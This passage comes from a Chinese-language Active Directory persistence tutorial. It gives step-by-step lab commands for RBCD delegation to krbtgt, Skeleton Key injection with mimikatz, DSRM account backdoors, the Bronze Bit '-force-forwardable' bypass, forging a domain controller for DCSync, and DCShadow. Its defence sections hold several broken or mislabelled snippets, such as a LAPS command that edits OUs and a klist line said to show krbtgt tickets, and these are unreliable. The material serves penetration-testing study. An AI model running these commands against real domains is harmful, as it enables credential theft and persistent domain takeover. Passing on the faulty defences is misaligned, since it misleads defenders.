python3 getST.py -dc-ip <DC_ip> -spn krbtgt -impersonate administrator <域名>/<server_USer>:<passwd>

#导入票据
export KRB5CCNAME=<票据名>
#远程连接域控
python3 smbexec.py -no-pass -k administrator@<DC机器名>.<域名> -dc-ip <DC_ip>

防御
一、预防性加固(根本性防御)
1. 禁用高风险委派配置
# 禁用krbtgt的所有委派配置(立即执行)
Set-ADUser krbtgt -Clear "PrincipalsAllowedToDelegateToAccount"
Set-ADUser krbtgt -Remove @{msDS-AllowedToDelegateTo=@()}
2. 限制委派权限
# 查询所有配置委派的服务账户
Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
# 批量清除敏感SPN的委派
$HighRiskSPNs = "krbtgt/*", "cifs/dc*", "ldap/dc*"
Get-ADUser -Filter * | ForEach-Object {
$delegations = $_."msDS-AllowedToDelegateTo" | Where-Object { $_ -match ($HighRiskSPNs -join "|") }
if ($delegations) {
Set-ADUser $_ -Remove @{msDS-AllowedToDelegateTo=$delegations}
}
}
3. 服务账户安全策略
# 强制所有服务账户启用"敏感账户不可委派"
Set-ADAccountControl -Identity <服务账户名> -TrustedForDelegation $false
# 禁止新机器账户自动更新密码(风险操作,慎用)
New-MachineAccount ... -PasswordNeverExpires $true
二、实时检测方案
1. 异常配置扫描脚本
# 扫描可委派到krbtgt的账户
$krbtgtDelegators = Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount |
Select -Expand PrincipalsAllowedToDelegateToAccount
if ($krbtgtDelegators) {
Write-Host "[CRITICAL] 发现krbtgt委派配置! 风险账户:"
$krbtgtDelegators | ForEach-Object {
(Get-ADObject $_).Name | Write-Host -ForegroundColor Red
}
}
2. SIEM 检测规则(Splunk 示例)
# 检测非域控请求krbtgt服务
index=windows EventCode=4769 ServiceName=krbtgt/*
| search ComputerName!="DC*"
| stats count by Client_Address, Account_Name
3. 实时日志监控(PowerShell)
# 监控S4U请求日志
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4769
ServiceName='krbtgt/*'
} -MaxEvents 10 | ForEach-Object {
if ($_.Message -notmatch "DC\d+\.domain\.com") {
Write-Warning "异常krbtgt请求: $($_.Properties[0].Value)"
}
}
三、攻击行为阻断
1. 网络层控制
| 策略 | 实施方法 |
|---|---|
| Kerberos 端口隔离 | 防火墙限制 TCP/88 仅允许域控间通信 |
| 服务账户登录限制 | 仅允许从特定管理 VLAN 登录 |
2. 终端防护
# 使用LAPS随机化本地管理员密码(防凭证窃取)
Get-ADOrganizationalUnit -Filter * | Set-ADOrganizationalUnit -Replace @{
ms-Mcs-AdmPwdExpirationTime = (Get-Date).AddDays(30).ToFileTime()
}
四、应急响应流程
1. 确认攻击痕迹
# 检查krbtgt的最近TGT签发记录(域控执行)
klist -li 0x3e7 # 查看krbtgt的TGT缓存
2. 清除后门
# 重置服务账户密码并禁用
Set-ADAccountPassword -Identity <风险账户> -NewPassword (ConvertTo-SecureString -AsPlainText $newPass -Force)
Disable-ADAccount -Identity <风险账户>
# 移除所有委派配置
Set-ADUser krbtgt -Clear "PrincipalsAllowedToDelegateToAccount"
3. 黄金票据核验
# 使用ADRecon检测异常票据
Import-Module .\ADRecon.ps1
Get-ADRecon -Kerberoast
防御工具
| 类型 | 工具 | 用途 |
|---|---|---|
| 配置审计 | BloodHound | 可视化分析委派路径 |
| 实时检测 | Microsoft ATA | 行为基线分析 |
| 日志分析 | ELK Stack + Sigma 规则 | 检测 Event ID 4769 异常 |
| 凭证防护 | Microsoft LAPS | 防止服务账户凭证窃取 |
通过 Skeleton Key 持久化
原理&概念
攻击者在获得 域管理员权限或企业管理员权限的情况下,可以在目标域控的 LSASS 内存中注入特定的密码,然后就可以使用设置的密码来以任何用户身份登录,包括域管理员和企业管理员,而 用户还可以使用之前正常的密码进行登录,这种攻击方式被称为 Skeleton Key(幽灵密码/万能钥匙)。由于设置 Skeleton Key 需要域管理员的权限或企业管理员权限,因此这种攻击方式通常用于域权限维持。
影响版本:Windows Server 2003 到 Windows Server 2012 R2
实验模拟
实验环境:
- 域控系统版本:Windows Server 2012 R2
- 域控主机名:DC2
- 域控 IP:192.168.41.50
- 域管理员:abc/administrator : @Password
- 域:abc.hack.com
注入 Skeleton Key
使用 mimikatz 在 DC 上注入 Skeleton Key(需要有域管权限):
.\mimikatz.exe "privilege::debug" "misc::skeleton" exit

注入成功后,会在域控的 LSASS 内存中给所有的账户添加万能密码 mimikatz,此后就可以使用密码 mimikatz 以任何用户身份 RDP 登录或进行远程 ipc$连接了。
远程登录
(1)通过 RDP 登录
在 win 中使用 mstsc 或者 kali 中使用 xfreerdp 进行远程 rdp 登录,这里使用 mstsc:
(2)通过 IPC$登录
-
通过 Skeleton Key 登录:
net use \\DC2.abc.hack.com /u:abc\administrator mimikatz dir \\DC2.abc.hack.com\c$ -
通过原凭据登录:
net use \\DC2.abc.hack.com /u:abc\administrator mimikatz dir \\DC2.abc.hack.com\c$
Skeleton Key 攻击防御
对于防守方和蓝方防御方式如下:
- 即时修复域内漏洞,更新最新的补丁,域管理员设置强口令。攻击者无法获得域管理员权限,也就无法设置 Skeleton Key
如果发现了当前域被设置了 Skeleton Key ,解决办法是重启所有的域控。因为 Skeleton Key 是注入 lsass.exe 进程的,所以它只存在于内存中。如果域控重启,那么注入的 Skeleton Key 会失效。
通过 重置 DSRM 密码 持久化
原理&概念
域控制器有一个内部紧急管理员账户,称为 DSRM(目录服务还原模式) 账户,该账户密码在服务器提升为 DC 时设置(见下图),很少更改,所以可以通过修改其密码和登录方式来权限维持。 此密码用于紧急情况下恢复 DC(如域环境出现故障或崩溃时)。攻击者可以使用 Mimikatz 提取此密码,并使用此密码获得对环境中域控制器的持久管理员访问权限。

Tips:DSRM 账户其实就是与域控上的本地 administrator 账户。默认情况下,DSRM 账户是无法用于 RDP 或者远程连接域控的,这与 DSRM 账户的登陆方式有关。
攻击条件
(1)系统要求:在安装了 KB961320 补丁的 Windows Server 2008 及之后的 Windows Server 版本开始支持在 DC 上使用指定的域帐户同步 DSRM 密码
(2)更改 DSRM 的密码方式:同步域用户的方式
(3)开启支持 DSRM 账户网络连接:需要修改注册表项,默认没有改项
实验模拟
实验环境:
- 域控系统版本:Windows Server 2012 R2
- 域控主机名:2012-R2-DC2
- 域控 IP:192.168.41.20
- 域名:ginkgo.com
- 受控域用户凭据:hack: Passwd123
修改 DSRM 密码
法一:直接重置密码
在于域控上执行 ntdsutil 命令,出现交互式输入框,输入以下命令后,可以看到设置成功的提示。最后输入两次 q 退出。
ntdsutil
set DSRM password # 在后面的交互中输入密码
reset password on server null # 有复杂性要求,可以设置为:Password123456

法二:为 DSRM 同步指定域用户的密码
将 DSRM 的密码同步为 administrator 的密码,然后按 q 退出即可:
ntdsutil
set DSRM password # 在后面的交互中输入密码
sync from domain account administrator

Tips:设置 DSRM 密码与指定账户同步功能需要 Windows Server 2008 及以后的系统。
修改 DSRM 登录方式
修改 DSRM 密码后,还需要修改 DSRM 的登陆方式才可以进行 RDP 登录。DSRM 有如下三种登陆方式:
- 0:默认值,只有当域控重启并进入 DSRM 模式时,才可以使用 DSRM 管理员账户
- 1:只有当本地活动目录域服务停止时,才可以使用 DSRM 管理员账户登录域控
- 2:在任何情况下,都可以使用 DSRM 管理员账户登陆域控
因此,需要将 DSRM 登陆方式修改为 2,才可以使用 DSRM 管理员账户通过网络登录域控:
DSRM 的登陆方式由注册表 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa 的 DSRMAdministrator 项控制,默认没有该项,即默认为 0,修改 DSRM 登录方式只需要使用 Powershell 执行如下的命令修改注册表:
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -name "DSRMAdministrator" -value 2 -PropertyType DWORD
修改完成后,可以看到 DSRMAdminlogonbehavior 值已经为 2 了,如图所示:

远程通过 DSRM 登录 DC
尝试使用 DSRM 账户远程连接域控:
python3 smbexec.py -hashes :<同步目标用户的NTLM-hash> ./administrator@<DC_ip>

[!IMPORTANT]
经过测试,只有在目标 DC 上登录过的用户,且使用同步方式修改 DSRM 密码的方法能成功,而且还需要用 hash 进行登录,明文密码不行。
mimikatz 抓取 NTLMhash 并将结果写入文件中:
.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit" > 1.txt
DSRM 攻击防御
对于防守方或蓝队来说,如何针对 DSRM 后门攻击进行防御呢?操作如下:
- 及时修复域内漏洞,更新最新补丁,让攻击者无法获得域控权限,自然也就无法修改 DSRM 密码了。
- 定期检查注册表中用于控制 DSRM 登陆方式的键值 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa 的 DSRMAdministrator 项,确认没有该项,或者该项值为 0。
- 定期修改域中所有域控的 DSRM 账户密码。
- 监控事件 ID 为 4794 的日志,该日志设置为 DSRM 的密码安全日志
通过 Kerberos Bronze Bit 漏洞持久化
原理&概念
原理
攻击者可以篡改 Kerberos 服务票据 (Service Ticket, ST) 中的一个关键标志位 (forwardable),欺骗 KDC 认为这个票据是“可转发的”,从而绕过 Kerberos 约束性委派(Constrained Delegation)和基于资源的约束性委派(Resource-Based Constrained Delegation, RBCD)的安全检查机制。
此漏洞涉及约束性委派中的两个关键的安全选项和一个标志位:
- “仅使用 Kerberos”: 禁止协议转换(Protocol Transition / S4U2Self),要求用户必须通过 Kerberos 直接向 Service A 认证。这是防止某些攻击的重要屏障。
- “敏感账户,不能被委派”: 标记某些高权限账户(如域管理员),禁止任何服务代表它们进行委派。
- “forwardable 标志位”: Kerberos 票据中的一个二进制标志(0 或 1),设定票据是否可转发。
KDC 在约束性委派中返回票据的流程如下:
漏洞点:KDC 在 forwardable=1 时,完全信任这个标志位,跳过了对用户“敏感不可委派”设置的检查!它只关心服务之间的委派关系是否配置正确。
主要绕过方式就是在getST中加上-force-forwardable参数:
python3 getST.py redteam.lab/CPT04\$:Passw0rd -spn krbtgt -impersonate Administrator -dc-ip 10.10.2.20 -force-forwardable

攻击步骤
- 攻击者入侵了配置有约束委派(传统或 RBCD)权限的 Service A 账户,获取了其密码 Hash。
- 攻击者代表目标用户(例如域管理员)发起 S4U2Self 请求,获得一个 ST1。这个 ST1 的
forwardable位默认为 0。 - 攻击者利用已知的 Service A Hash 解密 收到的 ST1。
- 攻击者将解密后 ST1 中的
forwardable标志位 从 0 修改为 1。 - 攻击者使用 Service A Hash 重新加密 篡改后的 ST1。
- 攻击者利用这个
forwardable=1的伪造 ST1 请求 ST2 以及其他委派攻击。
PS:
- 攻击者只修改了
forwardable位,没有修改 PAC 的内容。PAC 的签名在创建时就固定了,KDC 验证 PAC 签名时,发现 PAC 本身没变,签名依然有效,所以 不会报错。- KDC 能验证 PAC 签名,但无法验证 ST1 加密部分中
forwardable位等字段的原始完整性(在那个时代,没有机制确保这些标志位在传输后未被篡改)。它信任自己解密出来的数据。
票据内容:
利用场景
此漏洞启用的攻击是 Kerberos 委派引起的其它已知攻击的扩展,绕过现有攻击路径的以下两个缓解措施,提高它们的有效性和通用功能性。
- 绕过 Protecd Users 组内用户和设置了“敏感账号,不能被委派”的安全措施,导致了这些用户也可以被委派。
- 绕过在设置约束性委派时勾选“仅使用 Kerberos”选项,既无法进行协议转换。
Tips:适用于:常规约束性委派 和 RBCD。
前提条件
-
服务账户控制权:
- 掌握一个具有约束委派权限的服务账户密码/NTLM 哈希
- 该账户被允许委派到目标服务(如 krbtgt)
-
特殊 AD 配置:
# 1. 敏感账户设置 (在目标账户上) Set-ADUser Administrator -AccountNotDelegated $true # 2. 基于资源的约束委派 (在目标服务上) Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount <server_User> -
未打补丁的环境:
- 域控制器未安装 2020 年 11 月补丁(KB4594440/KB4594441)
- 或未启用
Apply UAC restrictions组策略
漏洞复现
实验环境如下:
- 域控:DC2 (192.168.41.50)
- 域管理员:Administrator
- 服务账户:ginkgo
- 域:abc.hack.com
环境配置
首先注册一个服务账户,并对该服务账户配置约束性委派
net user <Username> <passwd> /add /domain # 创建一个普通用户
setspn -U -A priv/test <Username> # 注册为服务账号

如图所示,配置服务账户 ginkgo 对域控的 cifs 服务具有约束性委派,但是由于选择了“仅使用 Kerberos”选项,因此不能进行协议转换:
如图所示设置域管理员 Administrator 为“敏感账户,不能被委派”。
1、约束性委派攻击绕过
当使用 impacket-getST 脚本进行常规的委派攻击命令时,提示如下的错误信息:
python3 getST.py -dc-ip <DC_ip> <域名>/<server_User>:<passwd> -spn <服务的spn> -impersonate administrator

但加上 -force-forwardable 参数进行绕过,则成功获取到票据,如图所示:
#以Administrator身份请求一张访问cifs/DC.hack.com的票据,加上 -force-forwardable 绕过参数
python3 getST.py -dc-ip <DC_ip> <域名>/<server_User>:<passwd> -spn <服务的spn> -impersonate administrator -force-forwardable

#导入该票据
export KRB5CCNAME=<票据名> # kali中
$env:KRB5CCNAME = "<票据名>" # win的pwsh中(不建议使用,建议在kali中执行)


#访问域控
python3 smbexec.py -no-pass -k <DC机器名>.<域名>

2、基于资源的约束性委派攻击绕过
前面设置域管理员 Administrator 为“敏感账户,不能被委派”,现在再在域控上配置服务用户 ginkgo 到 krbtgt 服务具有基于资源的约束性委派,命令如下:
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount <server_User>
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

当使用常规的基于资源的约束性委派攻击命令时,会提示如下错误信息:
python3 getST.py -dc-ip <DC_ip> -spn krbtgt -impersonate administrator <域名>/<server_USer>:<passwd>

但加上 -force-forwardable 参数,就能成功获取到票据,如图所示:
#以Administrator 身份请求一张访问Krbtgt服务的票据,加上 -force-forwardable 绕过参数
python3 getST.py -dc-ip <DC_ip> -spn krbtgt -impersonate administrator <域名>/<server_USer>:<passwd> -force-forwardable
#导入该票据
export KRB5CCNAME=<票据名>

#以Administrator身份访问域控DC.hack.com
python3 smbexec.py -no-pass -k administrator@<DC机器名>.<域名> -dc-ip <DC_ip>

漏洞预防和修复
微软已经发布了该漏洞的补丁程序 KB4598347,可以直接通过 Windows 自动更新解决此问题。
修复原理:微软在补丁包中新增加了一个票据签名。在 S4u2Self 阶段生成的服务票据,KDC 用其密钥在票据上进行了签名,并将签名插入了 PAC 中,而后 PAC 又经过两次签名(使用服务密钥 PAC_Server_CHECKSUM 和使用 KDC 密钥 PAC_PRIVSVR_CHECKSUM 签名)。在之后的 S4u2Proxy 阶段,KDC 才会返回票据,否则 KDC 将会返回 KRB_AP_ERP_MODIFIED 消息。这样,攻击者就无法修该数据包中的 forwardable 标志位了。
通过 伪造域控 持久化
原理&概念
当拥有域管权限后,修改一个新建机器账户的 UserAccountControl 属性为 8192,活动目录就会认为这个机器账户是域控,然后就可以用这个新建机器账户进行 DCSync 操作,从而实现权限维持。
在微软的官方文档中提到属性值 8192 对应的属性标志为 SERVER_TRUST_ACCOUNT,其含义为作为域中的一个成员域控的计算机账户:
影响版本:Windows 8.1、Windows 10、Windows 11、Windows Server 2012 R2、Windows Server 2016、Windows Server 2019、Windows Server 2022
实验模拟
实验环境如下:
- 域控:Windows Server 2016
- 域控主机名:DC2
- 域控 IP:192.168.41.50
- 域管理员:abc\administrator
- 域普通用户:abc\ginkgo : Mima123456
- 域名:abc.hack.com
开始攻击
创建机器账户
先使用工具脚本创建一个机器账户 machine$,密码为 root:
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 192.168.41.50 'abc.hack.com/ginkgo:Mima123456' -method SAMR -debug

修改 UserAccountControl 属性
默认情况下,只有域管理员和企业管理员等高权限用户有权限修改机器账户的 UserAccountControl 属性,所以这里使用域管用户 administrator 进行操作:
$ADComputer = Get-ADComputer -Identity machine
Set-ADObject -Identity $ADComputer -Replace @{userAccountControl=8192}
此时,活动目录就会认为机器账户 machine 是域控之一,通过查询 Domain Controllers 组成员可以看到之前创建的机器账户在其中:
net group "domain controllers" /domain

DCSync 导出凭据
现在就可以使用 DCSync 导出域内任意用户的 hash 了,这里导出 krbtgt 账户的 hash:
secretsdump.exe "abc/machine$:root"@192.168.41.50 -just-dc-user abc/krbtgt # 目标DC上执行
python3 secretsdump.py "abc/machine$:root@192.168.41.50" -just-dc-user "abc/krbtgt" # 攻击机kali上执行

伪造域控攻击防御
对于防守方或蓝队来说可以进行以下操作进行防御:
- 及时修复域内漏洞,更新最新补丁,让攻击者无法获得域管理员权限或 Exchange
邮箱服务器权限,自然也就无法修改机器账户的 userAccountControl 属性。 - 定期检查 userAccountControl 属性为 8192 的机器账户。
通过 DCShadow 持久化
原理&概念
域内被用于生成和维护复制活动目录拓扑、以便于站点内和站点之间的扑拓复制的组件 KCC 每 15min 会进行一次 DC 间的数据同步,它使用与每个活动目录对象相关联的 USN 可以识别环境中发生的变化,并确保域控在复制扑拓中不会被孤立,那么当攻击者具有域管理员权限或企业管理员权限时注册一个恶意的域控,并注入恶意的对象。这样,KCC 在进行域控间数据的同步时,就能 将恶意域控上的恶意的对象同步到其他正常的域控上 了。
操作步骤
整个漏洞攻击流程如下:
- 注册伪造域控并获得认可: 利用 mimikatz 的 DCShadow 组件,凭借高权限账户域管理员或企业管理员(DA/EA)通过 RPC 在活动目录中创建
nTDSDSA对象及其关联的computer对象,并注册必需的SPN(最小合集:DRS 和 GC),使恶意域控被其他域控认可。 - 篡改活动目录数据: 在伪造的恶意域控上,修改目标活动目录对象或属性(例如用户权限、组成员关系、信任关系等)。
- 强制域复制: 利用
DRSReplicaAdd函数强制触发域复制,将恶意域控上修改的数据同步到其他正常的域控制器中,从而达成攻击目的(如权限提升、持久化等)。
PS:注册恶意域控后,被正常域控信任并参与域复制的条件
- 有效的身份凭据: 恶意域控需要一个有效的机器账户。
nTDSDSA对象通过serverReferenceBL属性链接到一个computer对象,该对象提供凭据并支持在 DNS 中自动注册,使其他域控能够定位到恶意域控。- 支持身份认证的服务: 恶意域控必须注册特定的服务主体名称 (SPN),以便其他域控在复制时能对其进行身份验证。所需的最小 SPN 集合为:
- 目录复制服务 (DRS):
E3514235-4B06-11D1-AB04-00C04FC2DCD2/<域名>(其中接口 GUID 固定,DSA GUID 取自nTDSDSA对象的objectGUID)。- 全局编录服务 (GC):
GC/<主机名>/<域名>。常见的组ID和对应组的关系:
组 ID 对应组 512 Domain Admins 513 Domain Users 514 Domain Guests 515 Domain Computers 516 Domain Controllers
实验模拟
实验环境:
- 域控系统版本:Windows Server 2012 R2
- 域控主机名:2012-R2-DC2
- 域控 IP:192.168.41.20
- 域内主机:Windows Server 2016
- 域内主机 IP:192.168.41.55
- 域管理员:ginkgo\administrator:Password123
- 域普通用户:ginkgo\hack:Password123
- 域内主机本地账户:pc-2016-member\administrator:@Password
创建数据监听
通过域内主机本地账户创建第一个cmd窗口,运行mimikatz提权到system:
# 提权(这种方法需要将mimidrv.sys文件一起传到目标主机)
!+
!processtoken
# 查看当前权限
token::whoami

或者使用Sysinternals套件中的PsExec.exe工具提升至system:
PsExec.exe -i -s cmd.exe

然后使用mimikatz执行如下的命令进行数据的更改监听,修改用户hack的primarygroupid值为512,即将其添加到Domain Admins组中,结果如图所示:
lsadump::dcshadow /object:CN=hack,CN=Users,DC=ginkgo,DC=com /attribute:primarygroupid /value:512

触发数据同步完成攻击
使用受控的DA账户打开一个拥有DA权限的cmd窗口,比如通过命令:
.\PsExec.exe -u ginkgo\administrator cmd

在这个窗口通过mimikatz触发域复制:
lsadump::dcshadow /push

可以看到第一个监听窗口有了一些输出
对比前后Domian Admins 组内用户可以发现普通AD用户hack已经被添加到了DA组中。
其他持久化技术
以下是其他的 持久化 技术:
- 计算机账户 - 机器账户的密码通常每 30 天轮转一次。然而,攻击者可以修改机器账户的密码,这将停止自动旋转。此外,攻击者可以授予机器账户对其他主机的管理员访问权限。这将允许攻击者使用计算机账户作为普通账户,唯一的持久化迹象是账户对其他主机具有管理员权限,这在 AD 中通常是正常行为,因此可能未被检测到。



浙公网安备 33010602011771号